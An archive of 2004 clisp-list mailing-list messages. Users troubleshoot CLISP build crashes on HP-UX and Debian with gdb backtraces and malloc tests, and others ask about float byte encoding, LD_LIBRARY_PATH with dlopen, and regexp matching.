(WARN "~a: redefining ~a ~s in ~a, was defined in ~a" "DEFUN/DEFMACRO" "macro" ASSERT #P"/users/artn/clisp-2.33/src/condition.lisp" #P"/users/artn/clisp-2.33/src/macros2.lisp") 
(WARN "~a: redefining ~a ~s in ~a, was defined in ~a" "DEFUN/DEFMACRO" "macro" ETYPECASE #P"/users/artn/clisp-2.33/src/condition.lisp" #P"/users/artn/clisp-2.33/src/macros2.lisp") 
(WARN "~a: redefining ~a ~s in ~a, was defined in ~a" "DEFUN/DEFMACRO" "macro" CTYPECASE #P"/users/artn/clisp-2.33/src/condition.lisp" #P"/users/artn/clisp-2.33/src/macros2.lisp") 
(WARN "~a: redefining ~a ~s in ~a, was defined in ~a" "DEFUN/DEFMACRO" "macro" ECASE #P"/users/artn/clisp-2.33/src/condition.lisp" #P"/users/artn/clisp-2.33/src/macros2.lisp") 
(WARN "~a: redefining ~a ~s in ~a, was defined in ~a" "DEFUN/DEFMACRO" "macro" CCASE #P"/users/artn/clisp-2.33/src/condition.lisp" #P"/users/artn/clisp-2.33/src/macros2.lisp") 
(WARN "~a: redefining ~a ~s in ~a, was defined in ~a" "DEFUN/DEFMACRO" "function" CERROR #P"/users/artn/clisp-2.33/src/condition.lisp" "top-level") 
(WARN "~a: redefining ~a ~s in ~a, was defined in ~a" "DEFUN/DEFMACRO" "function" WARN #P"/users/artn/clisp-2.33/src/condition.lisp" "top-level") 
;; Loaded file /users/artn/clisp-2.33/build-g/condition.lisp
;; Loading file /users/artn/clisp-2.33/build-g/loadform.lisp ...
;; Loaded file /users/artn/clisp-2.33/build-g/loadform.lisp
;; Loading file /users/artn/clisp-2.33/build-g/gray.lisp ...
;; Loaded file /users/artn/clisp-2.33/build-g/gray.lisp
;; Loading file /users/artn/clisp-2.33/build-g/gstream.lisp ...
;; Loaded file /users/artn/clisp-2.33/build-g/gstream.lisp
;; Loading file /users/artn/clisp-2.33/build-g/xcharin.lisp ...
;; Loaded file /users/artn/clisp-2.33/build-g/xcharin.lisp
;; Loading file /users/artn/clisp-2.33/build-g/keyboard.lisp ...
;; Loaded file /users/artn/clisp-2.33/build-g/keyboard.lisp
;; Loading file /users/artn/clisp-2.33/build-g/screen.lisp ...
;; Loaded file /users/artn/clisp-2.33/build-g/screen.lisp
;; Loading file /users/artn/clisp-2.33/build-g/runprog.lisp ...
;; Loaded file /users/artn/clisp-2.33/build-g/runprog.lisp
;; Loading file /users/artn/clisp-2.33/build-g/query.lisp ...
;; Loaded file /users/artn/clisp-2.33/build-g/query.lisp
;; Loading file /users/artn/clisp-2.33/build-g/reploop.lisp ...
;; Loaded file /users/artn/clisp-2.33/build-g/reploop.lisp
;; Loading file /users/artn/clisp-2.33/build-g/dribble.lisp ...
;; Loaded file /users/artn/clisp-2.33/build-g/dribble.lisp
;; Loading file /users/artn/clisp-2.33/build-g/complete.lisp ...
;; Loaded file /users/artn/clisp-2.33/build-g/complete.lisp
;; Loading file /users/artn/clisp-2.33/build-g/pprint.lisp ...
;; Loaded file /users/artn/clisp-2.33/build-g/pprint.lisp
;; Loading file /users/artn/clisp-2.33/build-g/describe.lisp ...
;; Loaded file /users/artn/clisp-2.33/build-g/describe.lisp
;; Loading file /users/artn/clisp-2.33/build-g/edit.lisp ...
;; Loaded file /users/artn/clisp-2.33/build-g/edit.lisp
;; Loading file /users/artn/clisp-2.33/build-g/clhs.lisp ...
;; Loaded file /users/artn/clisp-2.33/build-g/clhs.lisp
;; Loading file /users/artn/clisp-2.33/build-g/inspect.lisp ...
;; Loaded file /users/artn/clisp-2.33/build-g/inspect.lisp
;; Loading file /users/artn/clisp-2.33/build-g/macros3.lisp ...
;; Loaded file /users/artn/clisp-2.33/build-g/macros3.lisp
;; Loading file /users/artn/clisp-2.33/build-g/foreign1.lisp ...
WARNING:
DEFUN/DEFMACRO: redefining function FINALIZE-COUTPUT-FILE in /users/artn/clisp-2.33/src/foreign1.lisp, was defined in /users/artn/clisp-2.33/src/compiler.lisp
;; Loaded file /users/artn/clisp-2.33/build-g/foreign1.lisp
;; Loading file /users/artn/clisp-2.33/build-g/deprecated.lisp ...
;; Loaded file /users/artn/clisp-2.33/build-g/deprecated.lisp
;; Loading file /users/artn/clisp-2.33/build-g/config.lisp ...
WARNING:
DEFUN/DEFMACRO: redefining function EDITOR-NAME in /users/artn/clisp-2.33/build-g/config.lisp, was defined in /users/artn/clisp-2.33/src/edit.lisp
WARNING:
DEFUN/DEFMACRO: redefining function EDIT-FILE in /users/artn/clisp-2.33/build-g/config.lisp, was defined in /users/artn/clisp-2.33/src/edit.lisp
WARNING:
DEFUN/DEFMACRO: redefining function EDITOR-TEMPFILE in /users/artn/clisp-2.33/build-g/config.lisp, was defined in /users/artn/clisp-2.33/src/edit.lisp
;; Loaded file /users/artn/clisp-2.33/build-g/config.lisp
[1]> 




> -----Original Message-----
> From: Sam Steingold [mailto:sds@gnu.org] 
> Sent: Monday, May 24, 2004 9:30 AM
> To: clisp-list@lists.sourceforge.net; Nuzzo Art-CINT116
> Cc: Bruno Haible
> Subject: Re: Problem compiling on hp-ux 11.11
> 
> 
> > * Nuzzo Art-CINT116 <N.Ahmmb@zbgbebyn.pbz> [2004-05-24 07:29:33 
> > -0500]:
> >
> > I am having a problem compliling clisp-2.33 on hp-ux 11.11.
> >  
> > It will get all the way to the point where it tries to run lisp.run 
> > and then coredumps:
> >  
> > chmod +w config.lisp
> > echo '(setq *clhs-root-default* " <http://www.lisp.org/HyperSpec/> 
> > http://www.lisp.org/HyperSpec/")' >> config.lisp ./lisp.run -B . 
> > -Efile UTF-8 -Eterminal UTF-8 -norc -m 750KW -x "(and (load 
> \"init.lisp\") (sys::%saveinitmem) (ext::exit))"
> > make: *** [interpreted.mem] Bus error (core dumped)
> >  
> > I am using gcc version 3.2.
> 
<http://clisp.cons.org/faq.html#bugs>
<http://clisp.cons.org/clisp.html#bugs>

please try

$ ./configure --with-debug --build build-g
$ cd build-g
$ gdb lisp.run
(gdb) run -B . -E utf-8 -i init.lisp

and report the backtrace.

thanks.

-- 
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> * Nuzzo Art-CINT116 <N.Ahmmb@zbgbebyn.pbz> [2004-05-24 10:16:08 -0500]:
>
> I did what you suggested.  It appears to run until I get a CLISP
> prompt and I can (quit) and the program exits normally.

it appears that the "build-g" directory contains a complete successful
build of CLISP.  You can use it for now.

Now, you reported that the normal non-debug build failed.

Let us figure out what went wrong there.

Please do

$ ./configure --build build-O
what error do you get?

$ cd build-O
$ gdb
(gdb) run <the command the failed during build>

send us the backtrace.

then edit build-O/Makefile and replace "-O2" in CFLAGS with -O1 (and if
it also fails, with -O0).  If that doesn't work either, add
-DNO_GENERATIONAL_GC to CFLAGS.

(remember to do "make clean" after you change CFLAGS)

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On Mon, May 24, 2004 at 10:39:29AM -0400, Sam Steingold wrote:
> > * Chris Hall <unyy.pw@irevmba.arg> [2004-05-24 03:05:09 -1000]:
> >
> > I'm running Debian Woody, kernel 2.2.25 and have just spent waaaay too
> > many hours on a Sunday trying to build some version, any version, of
> > clisp.
>=20
> Did you try a binary distribution for Linux?
> <http://sourceforge.net/project/showfiles.php?group_id=3D1355>
> I think a build for 2.4 will work for 2.2 as well.

Um, actually, no, I didn't even think of it - I just assumed that I
needed to build it.

Maybe an rpm, if I got one of the rpm-to-debian tools?  Hmmm.

>=20
> > I need to use regexes, and the default clisp install on Debian doesn't
> > seem to support them, when invoked either by 'clisp' *or* 'clisp -K
> > full' it doesn't show up in *features*.  (BTW, the same goes for the
> > FreeBSD 4.9 clisp).  If I try to use one of the functions, I get an
> > error.
>=20
> Please complain to the Debian and FreeBSD package maintainers.
> I agree that they should offer more modules by default.
>=20

I know nothing about FreeBSD PORT system, but I *do* know that Debian
could offer a config dialog from dselect, at least, and let people
choose packages at install time, so maybe I *will* drop the Debian
maintainer a line.

The FreeBSD box is a friend's - I'll ask him to see what we needs to
be done to prods those folks.

> > So, I downloaded the latest source, libsigsegv, etc., followed
> > directions, and got a SIGSEGV error during the build (something about
> > 0x10a not in [...]).
>=20
> <http://clisp.cons.org/faq.html#bugs>
> <http://clisp.cons.org/clisp.html#bugs>
>=20
> please try
>=20
> $ ./configure --with-debug --build build-g
> $ cd build-g
> $ gdb lisp.run
> (gdb) run -B . -E utf-8 -i init.lisp
>=20
> and report the backtrace.
>=20
> you might also try the CVS HEAD.
>=20
> Please also do
> $ gcc -o malloc unix/malloc.c
> $ for x in 1000000 100000 10000 1000; do ./malloc $x; done
> $ rm -f malloc
> and send the results here.
>=20
> thanks.
>=20

I'd be happy to do that if it gets to the point where lisp.run is
available - would it be useful for you if I did?  But at present it is
the build itself that is blowing up somewhere along the line.

I've managed to get 2.29 built and installed - I had to doctor the
Makefile, details in a separate post.  I can now (use-package
"REGEXP"), and that is what I really needed and wanted.

Thanks so much for your time,
+Chris

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Chris Hall wrote:

> Next I downloaded 2.29

The 2.33 is the most robust and stable release we've seen in 3 years.
I wouldn't bother trying to build 2.29, except for a museum of clisp
versions.

> /usr/bin/install: cannot stat `clisp-link': No such file or directory
> /usr/bin/install: cannot stat `linkkit/modules.d': No such file or directory
> /usr/bin/install: cannot stat `linkkit/modules.c': No such file or directory
> /usr/bin/install: cannot stat `linkkit/clisp.h': No such file or directory
> /usr/bin/install: cannot stat `base/*': No such file or directory
> /usr/bin/install: cannot stat `full/*': No such file or directory

It seems to me you are doing "make check" and "make install" without
"make" having run to completion. "make" needs to be run successfully
before you can do "make install". Or maybe there's a problem with symlinks
in the build directory?

Bruno



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If I do the ./configure --prefix=/users/artn --build build-O it does a core dump when it tries to run ./lisp.run


chmod +w config.lisp
echo '(setq *clhs-root-default* "http://www.lisp.org/HyperSpec/")' >> config.lisp
./lisp.run -B . -Efile UTF-8 -Eterminal UTF-8 -norc -m 750KW -x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit))"
make: *** [interpreted.mem] Bus error (core dumped)                                                          


Here is the backtrace:


artn@bs713> gdb
GNU gdb 5.3
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "hppa2.0w-hp-hpux11.11".
Breakpoint 1 at 0x3a30c
Breakpoint 2 at 0x38d24
Breakpoint 3 at 0x37028
Breakpoint 4 at 0x3b62c
Breakpoint 5 at 0x28df0
.gdbinit:116: Error in sourced command file:
No symbol "back_trace" in current context.
(gdb) run ./lisp.run -B . -Efile UTF-8 -Eterminal UTF-8 -norc -m 750KW -x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit))"
Starting program: /users/artn/clisp-2.33/build-O/lisp.run ./lisp.run -B . -Efile UTF-8 -Eterminal UTF-8 -norc -m 750KW -x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit))"

Program received signal SIGSEGV, Segmentation fault.
0x00026fb4 in gar_col_normal ()
(gdb) bt
#0  0x00026fb4 in gar_col_normal ()
#1  0x00028d1c in do_gar_col_simple ()
#2  0x000bfeec in with_gc_statistics ()
#3  0x00028d80 in gar_col_simple ()
#4  0x00028fc0 in make_space_gc ()
#5  0x000293c8 in allocate_vector ()
#6  0x0002c11c in init_subr_tab_2 ()
#7  0x0002df60 in initmem ()
#8  0x0002f608 in main ()
#9  0x7af36440 in _start () from /usr/lib/libc.2
(gdb) 



I also tried with the Makefile modified with -O1, -O0, and the combination -O0 with -DNO_GENERATIONAL_GC added to the CFLAGS. In all cases the compile coredumped at the same loction. A make clean was done between each make.


Art


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> 
> > * Nuzzo Art-CINT116 <N.Ahmmb@zbgbebyn.pbz> [2004-05-24 10:16:08 
> > -0500]:
> >
> > I did what you suggested.  It appears to run until I get a CLISP 
> > prompt and I can (quit) and the program exits normally.
> 
> it appears that the "build-g" directory contains a complete 
> successful build of CLISP.  You can use it for now.
> 
> Now, you reported that the normal non-debug build failed.
> 
> Let us figure out what went wrong there.
> 
> Please do
> 
> $ ./configure --build build-O
> what error do you get?
> 
> $ cd build-O
> $ gdb
> (gdb) run <the command the failed during build>
> 
> send us the backtrace.
> 
> then edit build-O/Makefile and replace "-O2" in CFLAGS with 
> -O1 (and if it also fails, with -O0).  If that doesn't work 
> either, add -DNO_GENERATIONAL_GC to CFLAGS.
> 
> (remember to do "make clean" after you change CFLAGS)
> 
> -- 
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8^)

Got 'im!  And thanks to everybody for all the useful, educational
tips, suggestions and pointers.

I focused on 2.29, and have now got a successful build with regexes in
place.  Woot!

For those that are interested, here is what it took for me to get
clisp 2.29 built and installed on a vanilla Debian Woody, kernel
2.2.25.

Make was bombing on the 'manual' portion of the 'all' target, so I got
rid of the 'manual' and also the 'docs' dependencies (just to be safe
- I can always use the Debian clisp-doc pkg).  I also removed the
'install-man' and 'install-doc' dependencies on the 'install' target.

It was also necessary to manually fix up the the 'MODULES =3D' line near
the top of the generated Makefile to use some information I found in
'makemake'.

Specifically, it seems that 'postgres' (put there by 'configure
--with-module=3Dpostgres') has to be manually changed to either of
postgres632 or postgres642 - I used postgres642, though I haven't
tested it yet (gotta sleep _sometime_).  I use Postgres 7.3, but they
are pretty good about maintaining compatibility for a few versions, so
I'm hoping.

Also, 'bindings', if selected with '--with-module=3Dbindings' should be
altered to 'bindings/libc6' (for my box), or the build fails.

It looks like '--with-module=3Dregexp' actually worked with no tweaking
necessary at all - if I run 'clisp -K full', then '(use-package
"REGEXP")', voila!  they are there!  The README in the
mybuild-dir/regexp directory mentioned this, and also explains how to
build an image with regexp.o included, though the 'full' image already
seems to have regexp.o.

Thanks again for all your help,
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Thanks a lot!
could you please aso do
$ gcc -o malloc unix/malloc.c
$ for x in 1000000 100000 10000 1000; do ./malloc $x; done
$ rm -f malloc

thanks!

> * Nuzzo Art-CINT116 <N.Ahmmb@zbgbebyn.pbz> [2004-05-24 12:41:32 -0500]:
>
> If I do the ./configure --prefix=/users/artn --build build-O it does a core dump when it tries to run ./lisp.run
>
>
> chmod +w config.lisp
> echo '(setq *clhs-root-default* "http://www.lisp.org/HyperSpec/")' >> config.lisp
> ./lisp.run -B . -Efile UTF-8 -Eterminal UTF-8 -norc -m 750KW -x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit))"
> make: *** [interpreted.mem] Bus error (core dumped)                                                          
>
> Here is the backtrace:
>
> artn@bs713> gdb
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> This GDB was configured as "hppa2.0w-hp-hpux11.11".
> Breakpoint 1 at 0x3a30c
> Breakpoint 2 at 0x38d24
> Breakpoint 3 at 0x37028
> Breakpoint 4 at 0x3b62c
> Breakpoint 5 at 0x28df0
> .gdbinit:116: Error in sourced command file:
> No symbol "back_trace" in current context.
> (gdb) run ./lisp.run -B . -Efile UTF-8 -Eterminal UTF-8 -norc -m 750KW -x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit))"
> Starting program: /users/artn/clisp-2.33/build-O/lisp.run ./lisp.run -B . -Efile UTF-8 -Eterminal UTF-8 -norc -m 750KW -x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit))"
>
> Program received signal SIGSEGV, Segmentation fault.
> 0x00026fb4 in gar_col_normal ()
> (gdb) bt
> #0  0x00026fb4 in gar_col_normal ()
> #1  0x00028d1c in do_gar_col_simple ()
> #2  0x000bfeec in with_gc_statistics ()
> #3  0x00028d80 in gar_col_simple ()
> #4  0x00028fc0 in make_space_gc ()
> #5  0x000293c8 in allocate_vector ()
> #6  0x0002c11c in init_subr_tab_2 ()
> #7  0x0002df60 in initmem ()
> #8  0x0002f608 in main ()
> #9  0x7af36440 in _start () from /usr/lib/libc.2
> (gdb) 
>
>
>
> I also tried with the Makefile modified with -O1, -O0, and the
> combination -O0 with -DNO_GENERATIONAL_GC added to the CFLAGS. In all
> cases the compile coredumped at the same loction. A make clean was
> done between each make.
>

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Sure, no problem.  Here it is.


artn@bs713> gcc -o malloc unix/malloc.c
unix/malloc.c: In function `printf_address':
unix/malloc.c:13: warning: right shift count >= width of type
artn@bs713> for x in 1000000 100000 10000 1000; do ./malloc $x; done
malloc(1000000) = #x40003158
&main = #x400010A2
malloc(100000) = #x40003158
&main = #x400010A2
malloc(10000) = #x40003158
&main = #x400010A2
malloc(1000) = #x40003158
&main = #x400010A2
artn@bs713> rm -f malloc

> -----Original Message-----
> From: Sam Steingold [mailto:sds@gnu.org] 
> Sent: Monday, May 24, 2004 1:11 PM
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> Cc: Bruno Haible
> Subject: Re: Problem compiling on hp-ux 11.11
> 
> 
> Thanks a lot!
> could you please aso do
> $ gcc -o malloc unix/malloc.c
> $ for x in 1000000 100000 10000 1000; do ./malloc $x; done
> $ rm -f malloc
> 
> thanks!
> 
> > * Nuzzo Art-CINT116 <N.Ahmmb@zbgbebyn.pbz> [2004-05-24 12:41:32 
> > -0500]:
> >
> > If I do the ./configure --prefix=/users/artn --build 
> build-O it does a 
> > core dump when it tries to run ./lisp.run
> >
> >
> > chmod +w config.lisp
> > echo '(setq *clhs-root-default* 
> "http://www.lisp.org/HyperSpec/")' >> 
> > config.lisp ./lisp.run -B . -Efile UTF-8 -Eterminal UTF-8 
> -norc -m 750KW -x "(and (load \"init.lisp\") 
> (sys::%saveinitmem) (ext::exit))"
> > make: *** [interpreted.mem] Bus error (core dumped)         
>                                                  
> >
> > Here is the backtrace:
> >
> > artn@bs713> gdb
> > GNU gdb 5.3
> > Copyright 2002 Free Software Foundation, Inc.
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> > is absolutely no warranty for GDB.  Type "show warranty" 
> for details. 
> > This GDB was configured as "hppa2.0w-hp-hpux11.11". Breakpoint 1 at 
> > 0x3a30c Breakpoint 2 at 0x38d24
> > Breakpoint 3 at 0x37028
> > Breakpoint 4 at 0x3b62c
> > Breakpoint 5 at 0x28df0
> > .gdbinit:116: Error in sourced command file:
> > No symbol "back_trace" in current context.
> > (gdb) run ./lisp.run -B . -Efile UTF-8 -Eterminal UTF-8 
> -norc -m 750KW -x "(and (load \"init.lisp\") 
> (sys::%saveinitmem) (ext::exit))"
> > Starting program: /users/artn/clisp-2.33/build-O/lisp.run 
> ./lisp.run -B . -Efile UTF-8 -Eterminal UTF-8 -norc -m 750KW 
> -x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit))"
> >
> > Program received signal SIGSEGV, Segmentation fault. 0x00026fb4 in 
> > gar_col_normal ()
> > (gdb) bt
> > #0  0x00026fb4 in gar_col_normal ()
> > #1  0x00028d1c in do_gar_col_simple ()
> > #2  0x000bfeec in with_gc_statistics ()
> > #3  0x00028d80 in gar_col_simple ()
> > #4  0x00028fc0 in make_space_gc ()
> > #5  0x000293c8 in allocate_vector ()
> > #6  0x0002c11c in init_subr_tab_2 ()
> > #7  0x0002df60 in initmem ()
> > #8  0x0002f608 in main ()
> > #9  0x7af36440 in _start () from /usr/lib/libc.2
> > (gdb)
> >
> >
> >
> > I also tried with the Makefile modified with -O1, -O0, and the 
> > combination -O0 with -DNO_GENERATIONAL_GC added to the 
> CFLAGS. In all 
> > cases the compile coredumped at the same loction. A make clean was 
> > done between each make.
> >
> 
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On Mon, May 24, 2004 at 10:39:29AM -0400, Sam Steingold wrote:
>=20
> Please complain to the Debian and FreeBSD package maintainers.
> I agree that they should offer more modules by default.
>=20

I've discovered that the FreeBSD full image has rexexp included.  Yay!
Someone notified me via this list that Debian includes regexp since
2.29, so problem solved. :-) (*That* was easy, at least!)

>=20
> $ ./configure --with-debug --build build-g
> $ cd build-g
> $ gdb lisp.run
> (gdb) run -B . -E utf-8 -i init.lisp
>=20
> and report the backtrace.
>=20
> you might also try the CVS HEAD.

I tried to do this using 2.33, but it stuck for over 45 minutes while
building CLOS, so I cancelled the build.  Granted, I use an old 333
mhz Pentium, but the GCL debug build only took about 45 minutes
*total*.

I also tried using CVS from today, but it stopped at:

aclocal: src/m4/libtool.m4: 3608: duplicated macro `AM_DISABLE_STATIC'
aclocal: src/m4/libtool.m4: 3609: duplicated macro `AM_PROG_LD'
aclocal: src/m4/libtool.m4: 3610: duplicated macro `AM_PROG_NM'
make[1]: *** [src/autoconf/aclocal.m4] Error 1
make[1]: Leaving directory `/home/rocktiger/lisp/build/clisp'
make: *** [../src/VERSION] Error 2

>=20
> Please also do
> $ gcc -o malloc unix/malloc.c
> $ for x in 1000000 100000 10000 1000; do ./malloc $x; done
> $ rm -f malloc
> and send the results here.
>=20
> thanks.
>=20

malloc(1000000) =3D #x4013A008
&main =3D #x 80484D4
malloc(100000) =3D #x 8049768
&main =3D #x 80484D4
malloc(10000) =3D #x 8049768
&main =3D #x 80484D4
malloc(1000) =3D #x 8049768
&main =3D #x 80484D4

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> * Chris Hall <unyy.pw@irevmba.arg> [2004-05-24 23:46:10 -1000]:
>
>> $ ./configure --with-debug --build build-g
>> $ cd build-g
>> $ gdb lisp.run
>> (gdb) run -B . -E utf-8 -i init.lisp
>> 
>> and report the backtrace.
>> 
>> you might also try the CVS HEAD.
>
> I tried to do this using 2.33, but it stuck for over 45 minutes while
> building CLOS, so I cancelled the build.

I don't know what "building CLOS" means.

> I also tried using CVS from today, but it stopped at:
>
> aclocal: src/m4/libtool.m4: 3608: duplicated macro `AM_DISABLE_STATIC'
> aclocal: src/m4/libtool.m4: 3609: duplicated macro `AM_PROG_LD'
> aclocal: src/m4/libtool.m4: 3610: duplicated macro `AM_PROG_NM'
> make[1]: *** [src/autoconf/aclocal.m4] Error 1
> make[1]: Leaving directory `/home/rocktiger/lisp/build/clisp'
> make: *** [../src/VERSION] Error 2

touch ../src/VERSION and proceed.


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I would like to write a value of type single-float into an array of 8-bit
bytes using the binary format that C code would use.  Something similar to:

  float foobar;
  foobar = 3.14159;
  memcpy(buffer, &foobar, 4);

I can decode a single-float with integer-decode-float in order to get the
correct bits, but things get a little bit tricky when the float is
denormalized.  Also, I'm unsure how integer-decode-float handles NaNs.

Is there a non-ANSI internal clisp function that does what I want quickly
and reliably?  For example, SBCL has sb-kernel:single-float-bits, which
returns an integer containing the bit representation of its floating point
argument.

Also, given the raw bits for a floating point number, what clisp function
can be used to construct a single-float or double-float?

            bob



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> * Robert Brown <oebja@tbbtyr.pbz> [2004-05-25 11:16:45 -0700]:
>
> I would like to write a value of type single-float into an array of 8-bit
> bytes using the binary format that C code would use.  Something similar to:
>
>   float foobar;
>   foobar = 3.14159;
>   memcpy(buffer, &foobar, 4);
>
> I can decode a single-float with integer-decode-float in order to get
> the correct bits, but things get a little bit tricky when the float is
> denormalized.  Also, I'm unsure how integer-decode-float handles NaNs.

CLISP does not support denormalized floats or NaNs

> Is there a non-ANSI internal clisp function that does what I want
> quickly and reliably?
>
> Also, given the raw bits for a floating point number, what clisp
> function can be used to construct a single-float or double-float?

what you want are READ-FLOAT and WRITE-FLOAT
<http://clisp.cons.org/impnotes/stream-dict.html#bin-input>
<http://clisp.cons.org/impnotes/stream-dict.html#bin-output>

what you are asking for is implemented in the form of FLOAT->LIST and
LIST->FLOAT in
<http://cvs.sourceforge.net/viewcvs.py/clisp/clisp/tests/bin-io.tst>

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Thanks very much!  I'll take a look at the documentation and the test code.

        bob

====================
Sam Steingold writes:
 > > * Robert Brown <oebja@tbbtyr.pbz> [2004-05-25 11:16:45 -0700]:
 > >
 > > I would like to write a value of type single-float into an array of 8-bit
 > > bytes using the binary format that C code would use.  Something similar to:
 > >
 > >   float foobar;
 > >   foobar = 3.14159;
 > >   memcpy(buffer, &foobar, 4);
 > >
 > > I can decode a single-float with integer-decode-float in order to get
 > > the correct bits, but things get a little bit tricky when the float is
 > > denormalized.  Also, I'm unsure how integer-decode-float handles NaNs.
 > 
 > CLISP does not support denormalized floats or NaNs
 > 
 > > Is there a non-ANSI internal clisp function that does what I want
 > > quickly and reliably?
 > >
 > > Also, given the raw bits for a floating point number, what clisp
 > > function can be used to construct a single-float or double-float?
 > 
 > what you want are READ-FLOAT and WRITE-FLOAT
 > <http://clisp.cons.org/impnotes/stream-dict.html#bin-input>
 > <http://clisp.cons.org/impnotes/stream-dict.html#bin-output>
 > 
 > what you are asking for is implemented in the form of FLOAT->LIST and
 > LIST->FLOAT in
 > <http://cvs.sourceforge.net/viewcvs.py/clisp/clisp/tests/bin-io.tst>



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Hi, 
 
I defined a set of foreign functions located in a shared library. The problem 
is that this library is not located in a standard place. So I looked at the 
code and found that (under UNIX) ffi:foreign-library uses "dlopen" such that I 
should be able to solve the problem by changing LD_LIBRARY_PATH variable. 
 
So I used somthing like: 
 
(system::setenv "LD_LIBRARY_PATH" 
  (string-concat "./lib:" (ext::getenv "LD_LIBRARY_PATH"))) 
 
(ffi:def-call-out myfun (:library "libmyfun.so") ...) 
 
which change the environment variable before defining my foreign function. 
However, it doesn't change anything and foreign-library still complains it 
cannot find my library. If I change the variable before starting clisp (and 
remove the "setenv" LISP call), it works fine. Is this normal? 
 
Note: I'm using clisp-2.33 (RPM compiled for RH9, used under Mandrake-9.2) 
 
Thanks. 
Michael. 



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Michael Goffioul <michael.goffioul <at> imec.be> writes: 
[snip] 
> cannot find my library. If I change the variable before starting clisp (and  
> remove the "setenv" LISP call), it works fine. Is this normal?  
 
Forget it. It looks like this is how LINUX works. I tried something 
similar in plain C, and got the same error. 
 
Michael. 
 



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On Mon, May 24, 2004 at 10:39:29AM -0400, Sam Steingold wrote:
>=20
> $ ./configure --with-debug --build build-g
> $ cd build-g
> $ gdb lisp.run
> (gdb) run -B . -E utf-8 -i init.lisp
>=20
> and report the backtrace.
>=20
> you might also try the CVS HEAD.

Debian kernel 2.2.20, gcc 2.95.4, glibc 2.2.

I did a checkout on 24 May and tried - it builds OK, then bombs during
'make check' with a sigsegv error.

So I did the debug build (sheesh! about 3 hours on my box) and
followed the above instructions.

Ummm, what do you mean by a backtrace?  It starts up, loads a bunch of
stuff, then displays a clisp prompt.

Also, the debug build finishes differently - it displays a message
explaining how to see what tests failed - wanna see my tests/clos.erg?
- while the normal build bombs on a sigsegv error.

One thing caught my eye though:

	.gdbinit:139: Error in sourced command file:
	Function "sigsegv_handler_failed" not defined.

I still have the debug build - I don't want to max out my box for 3
hours again for something I know isn't going to work ;-D - so if you'd
like more info, it'll be here for a little while.

>=20
> Please also do
> $ gcc -o malloc unix/malloc.c
> $ for x in 1000000 100000 10000 1000; do ./malloc $x; done
> $ rm -f malloc
> and send the results here.
>=20

Sent that in a earlier post.

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 > From: Michael Goffioul <michael.goffioul@imec.be>

 > shared library. ... is not located in a standard place.  under
 > UNIX) ffi:foreign-library uses "dlopen" ... I should be able to
 > solve the problem by changing LD_LIBRARY_PATH variable.

 > So I used somthing like: (system::setenv "LD_LIBRARY_PATH" (string-concat "./lib:" (ext::getenv "LD_LIBRARY_PATH"))) 
 > (ffi:def-call-out myfun (:library "libmyfun.so") ...) 
 > 
 > However, it doesn't change anything and foreign-library still complains it 
 > cannot find my library. If I change the variable before starting clisp (and 
 > remove the "setenv" LISP call), it works fine. Is this normal? 

Yes, this is how the Linux dynamic loader works.  It examines the
value of $LD_LIBRARY_PATH at process startup time, and the search path
seen by the loader is "frozen" for the duration of the process -- you
can't modify its search path during the program by changing
$LD_LIBRARY_PATH with putenv().

As you saw, changing the variable before starting CLISP will cause the
CLISP process to see your desired path at process startup time and
that is why it works.

 > Note: I'm using clisp-2.33 (RPM compiled for RH9, used under
 > Mandrake-9.2)

It's not dependent on CLISP verson; it's a Linux/Unix thing.

There are two basic workarounds for this situation:

  - Wrap the CLISP program in a shell script that sets
    LD_LIBRARY_PATH and then call CLISP from that script

	#!/bin/sh
	LD_LIBRARY_PATH=/my/special/libdir:${LD_LIBRARY_PATH}
	export LD_LIBRARY_PATH
	clisp ....

  - You can take advantage of the fact that dlopen() allows
    absolute or relative paths to be part of the library
    name argument.  In this case you would construct in Lisp
    the path name to the library file so as to include to your
    nonstandard directory:

       (setf my-lib "/my/special/libdir")
       (ffi:def-call-out myfun
          (:library (string-concat my-lib "/" "libmyfun.so") ...) 

Neither of these is particulary elegant but they do work.

I'm not sure why the Linux/Unix designers have the shared library
loader "freeze" the load path at start time, whether that is
considered a good thing or if it was hard to implement otherwise.

[Years ago I had to deal w/ OS/2 where the library path (DLLPath) was
set and frozen systemwide at BOOTUP!!]

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> * Michael Goffioul <zvpunry.tbssvbhy@vzrp.or> [2004-05-26 08:37:06 +0000]:
>
> (system::setenv "LD_LIBRARY_PATH" 
>   (string-concat "./lib:" (ext::getenv "LD_LIBRARY_PATH"))) 

please do not use functions in SYS.
<http://clisp.cons.org/impnotes/getenv.html>.

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Now that I have successfully built my clisp 2.29 w/regexp and tried a
few out, I must admit to a little bafflement.

Based on the information I've been able to gather, the clisp regexp
package uses the host OS's regexp engine, and on FreeBSD and Debian,
from what I can find, that is also what grep uses - on both Debian and
FreeBSD, grep is GNU grep.

So if I can match a pattern using grep -E (aka egrep?) on a file, it
seems reasonable to expect that the same pattern should work similarly
when moved into a regexp-quoted regex-compiled with :EXTENDED and run
against that same file.

Except it doesn't seem to.  Using the pattern '<[/]?issuer(.*)?>' grep
will pick out each appropriate line in the following data on both
platforms:

    <notSubjectToSection16>0</notSubjectToSection16>

    <issuer>
        <issuerCik>0000351077</issuerCik>
        <issuerName>CITIZENS BANKING CORP</issuerName>
        <issuerTradingSymbol>CBCF</issuerTradingSymbol>
    </issuer>

    <reportingOwner>

while clisp returns NIL.  It is my understanding that clisp should
return the 'co-ordinates' of at least the leading tags, and for now
that is OK - I am trying to learn the clisp regex 'flavor'.

I've tried quoting by hand as well, since regexp-quote produces this:
"<\\[/\\]?issuer(\\.\\*)+>", i.e., ?()+ don't seem to be considered
special.  Hand quoting didn't seem to make any difference in this
case, though sometimes grouping w/parens does seem to work in clisp.

I already have some useful regexes to do what I want on this data that
run in production under awk and/or guile - I can pretty much just cut
and paste expressions from one to the other.

I realize that regexes don't always 'port' well (heh!), but I *would*
like to use clisp for this, so any insight anybody has to offer would
be much appreciated.

